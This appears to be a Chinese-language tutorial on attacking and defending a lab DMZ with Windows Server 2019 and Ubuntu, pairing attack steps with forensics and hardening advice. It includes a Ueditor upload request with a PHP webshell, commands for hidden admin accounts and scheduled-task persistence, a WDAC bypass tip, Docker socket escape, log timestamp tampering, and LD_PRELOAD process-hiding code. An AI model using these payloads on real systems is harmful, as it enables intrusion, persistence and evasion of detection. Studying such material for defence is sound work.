☰
DMZ区攻防实战:Windows与Linux系统渗透与防御
2026/11/3 21:42:31 网站建设 项目流程

1. DMZ区攻防场景复现的价值与准备

在网络安全领域,DMZ(Demilitarized Zone)作为内外网之间的缓冲地带,一直是攻防对抗的前沿阵地。去年某次红蓝对抗中,攻击方仅用3小时就通过DMZ区的Windows Server 2019拿下了整个内网,这个案例让我深刻意识到:纸上谈兵永远比不上真实环境演练。

要完整复现这个场景,我们需要准备以下实验环境:

  • 攻击机:Kali Linux(2024.1版本)搭载哥斯拉v4.0
  • 靶机A:Windows Server 2019 Standard(关闭自动更新)
  • 靶机B:Ubuntu 22.04 LTS(安装docker-ce)
  • 网络拓扑:使用VMware Workstation构建模拟DMZ区,NAT模式连接内网

关键提示:务必在隔离环境中进行实验,建议使用物理断网的独立主机运行虚拟机。我曾见过有学员的杀毒软件将实验工具误报为真实威胁,触发了企业SOC告警。

2. Windows边界突破实战记录

2.1 Ueditor漏洞利用过程

攻击始于一个看似无害的文件上传点。某CMS自带的Ueditor 1.4.3版本存在经典的文件上传漏洞,攻击链如下:

  1. 构造特殊请求绕过前端验证:
POST /ueditor/php/controller.php?action=uploadfile HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="upfile"; filename="test.php.jpg" Content-Type: image/jpeg <?php @eval($_POST['cmd']);?> ------WebKitFormBoundaryABC123--
  1. 利用解析差异获取webshell:
  • 服务器配置错误导致.jpg文件被当作php执行
  • 实际案例中攻击者常用"双扩展名"绕过(如:shell.php%00.jpg)

2.2 权限维持的三种隐蔽方式

获得初始立足点后,攻击者通常会做这些操作:

技术手段实现命令防御检测要点
隐藏用户创建net user sysbackup Pa$$w0rd /add /active:yes
net localgroup administrators sysbackup /add
检查注册表HKLM\SAM\SAM\Domains\Account\Users
计划任务持久化schtasks /create /tn "WindowsUpdate" /tr "C:\shell.exe" /sc minute /mo 30审核%SystemRoot%\System32\Tasks目录
WMI事件订阅通过PowerShell创建__EventFilter绑定到特定事件使用Get-WMIObject查询异常订阅

实战经验:Windows Defender应用控制(WDAC)会阻止未经签名的payload执行,遇到"你的组织使用了windows defender应用程序控制来阻止此应用"提示时,可尝试通过certmgr.msc导入伪造证书绕过。

3. 横向移动与Linux系统渗透

3.1 从Windows到Ubuntu的跳板攻击

通过Windows服务器获取DMZ区Ubuntu主机的访问凭证后,攻击者典型的操作流程:

  1. 使用psexec.py进行SMB爆破:
python3 psexec.py 'WORKGROUP/Administrator:Password123@192.168.52.131'
  1. 发现docker服务时的特权逃逸:
# 检查docker socket权限 ls -al /var/run/docker.sock # 如果可写,直接创建特权容器 docker run -it -v /:/mnt --privileged ubuntu bash

3.2 Ubuntu系统中的痕迹清理技巧

攻击者常用的反取证手段包括:

  • 修改~/.bash_history文件时间戳:
perl -i -pe 's/2024-02-15/2024-01-10/g' /home/user/.bash_history touch -d "2024-01-10 12:00:00" /home/user/.bash_history
  • 使用LD_PRELOAD隐藏进程:
// evil.c #include <stdio.h> #include <sys/stat.h> int lstat(const char *path, struct stat *buf) { if(strstr(path, "malware")) return -1; return __lxstat(3, path, buf); }

编译后设置export LD_PRELOAD=/tmp/evil.so

4. 防御者的排查实战手册

4.1 Windows服务器取证四步法

  1. 内存分析:使用Volatility3检测异常进程
vol.py -f memory.dump windows.pslist.PsList
  1. 日志审查关键点:
  • 事件ID 4624(登录成功)与4625(登录失败)的关联分析
  • 事件ID 4688(进程创建)中的父进程异常
  1. 文件系统时间线:
# 生成最近7天修改过的可执行文件列表 powershell "gci C:\ -Recurse -File -Include *.exe,*.dll,*.ps1 | ? {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} | select FullName,LastWriteTime,Length | Export-Csv -NoTypeInformation files.csv"
  1. 网络连接比对:
Get-NetTCPConnection | Where-Object {$_.State -eq "Established"} | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess | ft

4.2 Ubuntu系统入侵指标排查

  1. 检查异常cron任务:
# 查看所有用户的计划任务 ls -la /var/spool/cron/crontabs/ cat /etc/crontab
  1. 检测隐藏的docker容器:
# 对比docker ps与磁盘实际容器 docker ps -a ls -la /var/lib/docker/containers/
  1. 网络连接分析进阶技巧:
# 显示所有TCP连接及其对应进程 ss -tulnp | grep -v '127.0.0.1' # 检查异常的LD_PRELOAD环境变量 cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i preload

5. 攻防演练后的加固建议

根据多次实战经验,这些加固措施能有效提升DMZ区安全:

Windows Server 2019加固清单

  1. 启用LSA保护:
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] "RunAsPPL"=dword:00000001
  2. 配置WDAC默认拒绝策略:
    ConvertFrom-CIPolicy -XmlFilePath .\DefaultDeny.xml -BinaryFilePath .\DenyPolicy.bin

Ubuntu 22.04防护要点

  1. Docker安全配置:

    # 创建docker专用用户组 sudo groupadd dockerusers sudo usermod -aG dockerusers <username> sudo chown root:dockerusers /var/run/docker.sock sudo chmod 660 /var/run/docker.sock
  2. 内核级防护:

    # 安装apparmor并配置默认策略 sudo apt install apparmor apparmor-utils sudo aa-enforce /etc/apparmor.d/*

在最近一次为客户部署的DMZ区中,通过上述措施成功拦截了超过80%的初始攻击尝试。特别是WDAC与AppArmor的组合使用,使得即使攻击者获取了webshell也难以执行有效载荷。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询